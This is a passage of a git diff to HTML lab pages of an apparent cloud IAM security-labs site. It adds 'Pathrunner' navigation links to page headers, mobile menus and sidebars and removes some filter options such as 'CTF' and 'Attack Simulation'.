                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-004/index.html b/docs/labs/iam-004/index.html
index af3899c0..d68df379 100644
--- a/docs/labs/iam-004/index.html
+++ b/docs/labs/iam-004/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-005-to-bucket/index.html b/docs/labs/iam-005-to-bucket/index.html
index f2cd7703..2b662b0d 100644
--- a/docs/labs/iam-005-to-bucket/index.html
+++ b/docs/labs/iam-005-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-005/index.html b/docs/labs/iam-005/index.html
index 395588f5..85d2112f 100644
--- a/docs/labs/iam-005/index.html
+++ b/docs/labs/iam-005/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-006-to-bucket/index.html b/docs/labs/iam-006-to-bucket/index.html
index c63b8520..8bea1e1f 100644
--- a/docs/labs/iam-006-to-bucket/index.html
+++ b/docs/labs/iam-006-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-006/index.html b/docs/labs/iam-006/index.html
index ec321d46..8c695ca4 100644
--- a/docs/labs/iam-006/index.html
+++ b/docs/labs/iam-006/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
